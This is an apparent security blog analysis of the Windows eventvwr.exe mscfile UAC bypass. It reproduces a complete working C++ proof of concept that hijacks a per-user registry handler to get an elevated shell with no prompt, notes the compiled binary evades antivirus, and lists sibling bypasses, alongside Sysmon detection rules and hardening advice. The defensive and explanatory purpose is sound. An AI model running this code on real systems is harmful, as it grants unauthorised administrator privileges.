eventvwr.exe UAC bypass via mscfile registry hijack methodology diagram

Eventvwr.exe UAC Bypass via mscfile: Anatomy of a Classic HKCU Registry Hijack

Original text: “Eventvwr.exe UAC Bypass via mscfile”S12 – 0x12Dark Development, Medium (May 28, 2026). The bypass technique itself was originally documented publicly in 2016 by Matt Nelson (@enigma0x3); it is catalogued as MITRE ATT&CK technique T1548.002. C++ source, AV scan table and figures below are reproduced verbatim with attribution captions.

Executive Summary

The eventvwr.exe + mscfile UAC bypass is one of the cleanest illustrations of the trust-asymmetry that auto-elevate manifests bake into Windows. eventvwr.exe ships with autoElevate=true, which means Windows is willing to start it at High integrity without prompting the user. When eventvwr opens the Event Viewer console it does so by handing a .msc path to the shell, and the shell resolves the mscfile file association through the standard HKCU → HKCR → HKLM registry lookup chain. Anything an unprivileged user writes under HKCUSoftwareClassesmscfileshellopencommand shadows the legitimate handler — and is then executed at the High integrity level that eventvwr inherited from auto-elevation.

S12’s Medium write-up packages the technique into a small C++ tool: write the payload command into the default value of the HKCU mscfile key, write an empty DelegateExecute sibling to defeat the COM dispatch fast path, launch eventvwr.exe with ShellExecuteEx + runas, wait for the elevated child, then delete the HKCU subtree. The full PoC fits in roughly 80 lines of Windows C++; the Kleenscan multi-engine antivirus scan in the post shows the compiled binary as Undetected by Microsoft Defender and effectively every other engine as of 24 May 2026. Microsoft has known about this exact bypass since 2016 and considers it “by design”; the bypass continues to work on default Windows installations because the underlying auto-elevate-plus-HKCU-class-lookup combination has never been changed.

eventvwr.exe UAC bypass via mscfile registry hijack methodology diagram
Methodology — hero image showing the registry-hijack → auto-elevate → payload chain. Source: original article.

At a Glance

FieldValue
TechniqueUAC bypass via auto-elevated binary + HKCU file-association hijack
MITRE ATT&CKT1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control
Original disclosureMatt Nelson (@enigma0x3), 2016
Current write-upS12 – 0x12Dark Development, Medium, May 28, 2026
Target binaryC:WindowsSystem32eventvwr.exe
Auto-elevate manifestYes (autoElevate=true in embedded manifest)
Hijacked registry keyHKCUSoftwareClassesmscfileshellopencommand
Hijacked registry valuesDefault (REG_SZ) = attacker payload; DelegateExecute (REG_SZ) = empty string
API surfaceRegCreateKeyExW, RegSetValueExW, ShellExecuteExW, WaitForSingleObject, RegDeleteTreeW
ResultArbitrary command running at High integrity, no UAC prompt
Privileges requiredNone — works from a Medium-IL token of a member of the local Administrators group with default UAC at “Notify me only when apps try to make changes”
Microsoft position“By design” — not treated as a security boundary
AV detection (Kleenscan, 2026-05-24)Undetected on every mainstream engine in the sample, including Microsoft Defender
Summary of the eventvwr.exe + mscfile UAC bypass. Source: original article; MITRE mapping added editorially.

Background: Why This Bypass Exists

Three Windows behaviours combine to produce the bug:

  • Auto-elevate manifests. A subset of Microsoft-signed binaries ship with <autoElevate>true</autoElevate> in their embedded manifest. When such a binary is launched with the runas verb on an Administrator account, Windows skips the UAC consent prompt and starts the process at High integrity. eventvwr.exe is in that list.
  • Per-user shell-class lookups. File extensions and progids resolve through HKCUSoftwareClasses first and then HKLMSoftwareClasses (the HKCR hive is just a merged view of the two). Writing under HKCUSoftwareClasses is always allowed because it’s the user’s own hive — no admin token required.
  • Inherited integrity for shell-launched children. When an auto-elevated High-integrity process uses ShellExecute to open a file via its class handler, the resulting child is launched at the parent’s integrity level. The mscfile handler is resolved by the shell, the handler is the attacker’s command, and the attacker’s command therefore runs High.

Pulling all three together: any file association that an auto-elevated binary will resolve through HKCU is a bypass. mscfile is the cleanest one because eventvwr.exe always opens its console via the shell, and mscfile has no equivalent in the protected per-machine policy.

Methodology

The bypass collapses to three operational steps:

  • Plant the hijack. Create the key HKCUSoftwareClassesmscfileshellopencommand, set its (Default) REG_SZ to the command you want to run, and set a sibling DelegateExecute REG_SZ to the empty string. The DelegateExecute empty-string trick disables the alternative COM-dispatch path that Windows would otherwise prefer (it normally points at a registered CLSID); zeroing it forces the shell to fall back to the legacy “just execute the default value” path.
  • Trigger eventvwr with the runas verb. Call ShellExecuteExW against C:WindowsSystem32eventvwr.exe with lpVerb = "runas". Because of the auto-elevate manifest, no consent prompt appears. Event Viewer starts at High integrity, asks the shell to open its .msc, the shell looks up mscfile, finds the attacker’s default value, and runs it.
  • Clean up. Delete the mscfile subtree under HKCU. The artefact disappears from the user’s registry; the only remaining trace is whatever audit logging happened to fire while the key existed.

Implementation

Setting the Registry Hijack

The hijack is two RegSetValueExW calls. The default value is the command, and DelegateExecute is set to an empty string. Without the empty DelegateExecute, Windows would try to instantiate a COM object via a registered CLSID and the bypass wouldn’t fire.

Launching eventvwr with Auto-Elevation

ShellExecuteExW with the runas verb is the canonical way to request elevation. On a normal binary it would surface a UAC consent prompt; on an auto-elevated binary it elevates silently. The SEE_MASK_NOCLOSEPROCESS flag returns a process handle the caller can wait on, which is useful for synchronising cleanup against payload execution.

Cleanup

RegDeleteTreeW removes the entire command subkey including the (Default) and DelegateExecute values. After cleanup, a forensic look at the HKCU hive shows nothing — though, importantly, registry-write auditing (if enabled) still captured the write events that planted the key in the first place.

Code — main.cpp

The full S12 PoC reproduced verbatim with attribution:

#include <windows.h>
#include <iostream>

bool SetEventvwrRegistry(const std::wstring& cmd){
    HKEY hKey = nullptr;
    const wchar_t* subKey = L"Software\Classes\mscfile\shell\open\command";

    LONG status = RegCreateKeyExW(
        HKEY_CURRENT_USER, subKey, 0, nullptr, 0,
        KEY_WRITE, nullptr, &hKey, nullptr);

    if (status != ERROR_SUCCESS) {
        std::wcout << L"[!] RegCreateKeyEx failed: " << status << L"n";
        return false;
    }

    status = RegSetValueExW(hKey, L"", 0, REG_SZ, reinterpret_cast<const BYTE*>(cmd.c_str()),
        static_cast<DWORD>((cmd.size() + 1) * sizeof(wchar_t))
    );

    if (status != ERROR_SUCCESS) {
        std::wcout << L"[!] Default value failed: " << status << L"n";
        RegCloseKey(hKey);
        return false;
    }

    const wchar_t* empty = L"";
    status = RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, reinterpret_cast<const BYTE*>(empty),
        static_cast<DWORD>((wcslen(empty) + 1) * sizeof(wchar_t))
    );

    RegCloseKey(hKey);
    return status == ERROR_SUCCESS;
}

bool LaunchEventvwr(){
    SHELLEXECUTEINFOW sei = {};
    sei.cbSize = sizeof(sei);
    sei.fMask = SEE_MASK_NOCLOSEPROCESS;
    sei.lpVerb = L"runas";
    sei.lpFile = L"C:\Windows\System32\eventvwr.exe";
    sei.nShow = SW_SHOWNORMAL;

    BOOL result = ShellExecuteExW(&sei);
    if (!result) {
        std::wcout << L"[!] ShellExecuteEx failed: " << GetLastError() << L"n";
        return false;
    }

    std::wcout << L"[*] eventvwr.exe launched (auto-elevating)...n";
    if (sei.hProcess) {
        WaitForSingleObject(sei.hProcess, 10000);
        CloseHandle(sei.hProcess);
    }
    return true;
}

void Cleanup(){
    const wchar_t* subKey = L"Software\Classes\mscfile\shell\open\command";
    LONG status = RegDeleteTreeW(HKEY_CURRENT_USER, subKey);
    std::wcout << (status == ERROR_SUCCESS ? L"[*] Cleanup OKn" : L"[!] Cleanup failedn");
}

int wmain(){
    std::wstring payload = L"cmd.exe /c start cmd.exe";
    if (!SetEventvwrRegistry(payload)) {
        return 1;
    }
    std::wcout << L"[+] Registry set: mscfile handler hijackedn";

    if (!LaunchEventvwr()) {
        Cleanup();
        return 1;
    }

    std::wcout << L"[*] Check for elevated cmd.exe...n";
    std::wcout << L"[*] Press ENTER to cleanup...n";
    std::wcin.get();

    Cleanup();
    return 0;
}

Proof of Concept

Running the compiled binary on a default Windows installation under a standard Administrator user (UAC set to the default “Notify me only when apps try to make changes to my computer”) plants the HKCU key, calls ShellExecuteExW("runas", "eventvwr.exe"), and produces a child cmd.exe running at High integrity. The Event Viewer window does appear briefly (the auto-elevated eventvwr.exe is still trying to do its real job) but the side-effect — the elevated cmd.exe — is the goal.

From an attacker’s perspective the visible artefacts are:

  • The HKCU subtree under SoftwareClassesmscfileshellopencommand exists for the lifetime of WaitForSingleObject (up to 10 seconds in this PoC).
  • An eventvwr.exe process appears as a child of the launching binary at High integrity.
  • An mmc.exe may or may not spawn (depending on whether the original auto-launched .msc finishes loading before the bypass fires).
  • The attacker’s cmd.exe (or whatever payload) spawns as a grandchild of the launching binary, also at High integrity.

Detection

Kleenscan AV Coverage (24 May 2026)

Kleenscan multi-AV scan results for the eventvwr mscfile UAC bypass PoC binary
Kleenscan multi-engine antivirus scan of the compiled PoC, 24 May 2026 — Microsoft Defender and every other mainstream engine report Undetected. Source: original article.

The 80-line PoC scans as Undetected across every mainstream engine. The result is not surprising — nothing the binary does is malicious in isolation; RegCreateKeyEx, RegSetValueEx, ShellExecuteEx and RegDeleteTree are all standard Windows API calls used by tens of thousands of legitimate applications. Signature-based AV cannot reliably distinguish a UAC bypass from a benign explorer extension. The detection has to happen at the behavioural / telemetry layer.

High-Fidelity Behavioural Signals

  • Writes to HKCUSoftwareClassesmscfileshellopencommand. Anything other than zero is suspicious. The legitimate handler lives under HKLM; the per-user override is essentially never the right answer for mscfile. Sysmon Event ID 13 / 14 with target path matching is sufficient. Add a sibling rule for DelegateExecute being set to an empty string.
  • eventvwr.exe launched with parent != explorer.exe / mmc.exe / a known shell broker. The expected ancestors of eventvwr.exe are explorer.exe (start menu / search) or programmatic launches by Microsoft signed binaries. eventvwr.exe with parent = cmd.exe, powershell.exe, an unsigned PE, or any C2 implant is a high-fidelity bypass signal.
  • Process-tree anomaly — eventvwr.exe with non-mmc grandchild. The expected grandchild of eventvwr.exe is mmc.exe running the Event Viewer console. cmd.exe, powershell.exe, wscript.exe, rundll32.exe, or any unsigned PE running as a child of eventvwr.exe is essentially diagnostic for this bypass.
  • Token integrity-level transition for eventvwr.exe children. The expected integrity of a payload spawned from the start menu by a standard user is Medium; eventvwr.exe’s children running at High when invoked by an unsigned parent is the smoking gun.

Sample Sysmon Rule (Sketch)

<RegistryEvent onmatch="include">
  <TargetObject condition="contains">SoftwareClassesmscfileshellopencommand</TargetObject>
</RegistryEvent>

<ProcessCreate onmatch="include">
  <ParentImage condition="end with">eventvwr.exe</ParentImage>
  <Image condition="end with">cmd.exe</Image>
</ProcessCreate>

<ProcessCreate onmatch="include">
  <ParentImage condition="end with">eventvwr.exe</ParentImage>
  <Image condition="end with">powershell.exe</Image>
</ProcessCreate>

The rule has near-zero false-positive rate on normal Windows endpoints because the registry path and the parent-image filter are both nearly never legitimate in combination.

Variants and Sibling Techniques

The same pattern works against several other auto-elevated binaries and other HKCU-resolvable progids. A non-exhaustive list of the public siblings of this technique:

  • fodhelper.exe + ms-settingsShellOpencommand — the closest cousin; same structural pattern with the Settings handler.
  • computerdefaults.exe + ms-settingsShellOpencommand — identical to fodhelper for practical purposes.
  • sdclt.exe + Foldershellopencommand — older bypass via the Backup & Restore control panel.
  • WSReset.exe + AppX…ShellOpencommand — Windows Store reset binary.
  • SilentCleanup task + scheduled task with %windir%system32cleanmgr.exe /autoclean /d %systemdrive% — a slightly different shape but the same underlying lesson about auto-elevated entry points.

The point of listing them is not to advertise tradecraft — every one of these is publicly documented and indexed in MITRE ATT&CK — but to underline that any monitoring built specifically for the eventvwr+mscfile shape should be extended to the parallel registry paths and parallel auto-elevated parents.

Why Microsoft Doesn’t Patch This

Microsoft has consistently held the position that UAC is not a security boundary. The original 2007 Mark Russinovich post argued that UAC is a usability nudge to make running as non-admin easier, not a defence against an attacker who has already obtained code execution on a user’s desktop. Every bypass disclosed since — eventvwr + mscfile, fodhelper, sdclt, the dozens of catalogued auto-elevate manifests — has been responded to with some variant of “by design”.

Operationally that means defenders should treat UAC as not a security boundary in their threat modelling. Any user on the local machine who is a member of the local Administrators group and has UAC at default is effectively administrator-equivalent the moment they run an unsigned binary — the bypass is a one-line shortcut, not a vulnerability. The defensive answer is to limit the Administrators group membership, not to lean on UAC.

Key Takeaways

  • The bypass collapses to two registry writes (default + empty DelegateExecute) plus a single ShellExecuteExW("runas", "eventvwr.exe").
  • The two structural defects are (a) auto-elevate manifests on programs that subsequently resolve user-controlled class handlers, and (b) HKCU shadowing HKLM in shell-class lookups.
  • Microsoft Defender and the major AV vendors do not flag the compiled PoC — the technique is invisible to signature engines because the API calls are individually benign.
  • The high-fidelity detection signals are at the behavioural layer: HKCU writes under mscfile + DelegateExecute="", eventvwr children other than mmc, and integrity-level transitions for grandchildren of eventvwr.exe.
  • UAC is not a security boundary in Microsoft’s threat model; defenders should not treat it as one.
  • The pattern is identical across fodhelper.exe, computerdefaults.exe, sdclt.exe, WSReset.exe; detection rules built for this technique should cover the siblings.
  • This is MITRE ATT&CK T1548.002 — one of the most-used local-elevation primitives in commodity malware on Windows.

Defensive Recommendations

  • Limit local Administrators membership. The whole technique is gated on the unprivileged user being in the local Administrators group with default UAC. If standard users are not in Administrators, the auto-elevate path is unreachable.
  • Set UAC to “Always notify”. The strictest UAC setting causes runas on auto-elevated binaries to still prompt. Operational drag is real, but the bypass is closed for the eventvwr family.
  • Deploy a Sysmon rule for HKCU mscfile writes. The registry path HKCUSoftwareClassesmscfileshellopencommand is essentially never a legitimate target. Sysmon Event ID 13/14 plus a sibling rule for DelegateExecute set to an empty string is high-fidelity. Repeat for ms-settings (fodhelper / computerdefaults), Folder (sdclt), AppX… (WSReset).
  • Alert on non-mmc children of eventvwr.exe. The only legitimate child is mmc.exe. Any other child — especially cmd.exe, powershell.exe, wscript.exe, rundll32.exe, or any unsigned PE — is essentially diagnostic for this technique.
  • Audit integrity transitions. When eventvwr.exe is launched by an unsigned parent and its grandchild runs at High integrity, the chain is unambiguous. EDRs that surface integrity-level metadata can promote this to a top-priority alert with very low FP.
  • Hunt for the PoC’s exact payload string. cmd.exe /c start cmd.exe appearing as the default value of a transient HKCU class key is a YARA-style hunt anyone can run in their fleet’s EDR.
  • Application allow-listing on developer / executive endpoints. WDAC or AppLocker in enforced mode prevents the attacker’s payload from running even if the auto-elevation chain fires.
  • Disable the auto-elevate manifest on eventvwr.exe via WDAC supplemental policy. This is unsupported by Microsoft and has compatibility cost but is technically possible on hardened endpoints.

Conclusion

The eventvwr.exe + mscfile UAC bypass is the same bug it was in 2016, repackaged into a clean modern C++ PoC by S12. The technical content of the write-up is not new — auto-elevate manifests plus HKCU shadowing of class handlers have been a stable pattern across every Windows release since Vista — but its continued effectiveness and the AV-scan table together make a useful point for defenders: this is a publicly documented, MITRE-catalogued, Microsoft-acknowledged bypass that signature-based AV cannot detect, and that defenders are expected to handle via behavioural telemetry and least-privilege configuration. Credit and thanks to S12 – 0x12Dark Development for the modern write-up and the cleanly-written PoC; the underlying technique is owed to Matt Nelson’s original 2016 disclosure.

References

Original text: “Eventvwr.exe UAC Bypass via mscfile” by S12 – 0x12Dark Development at Medium (May 28, 2026).

Comments are closed.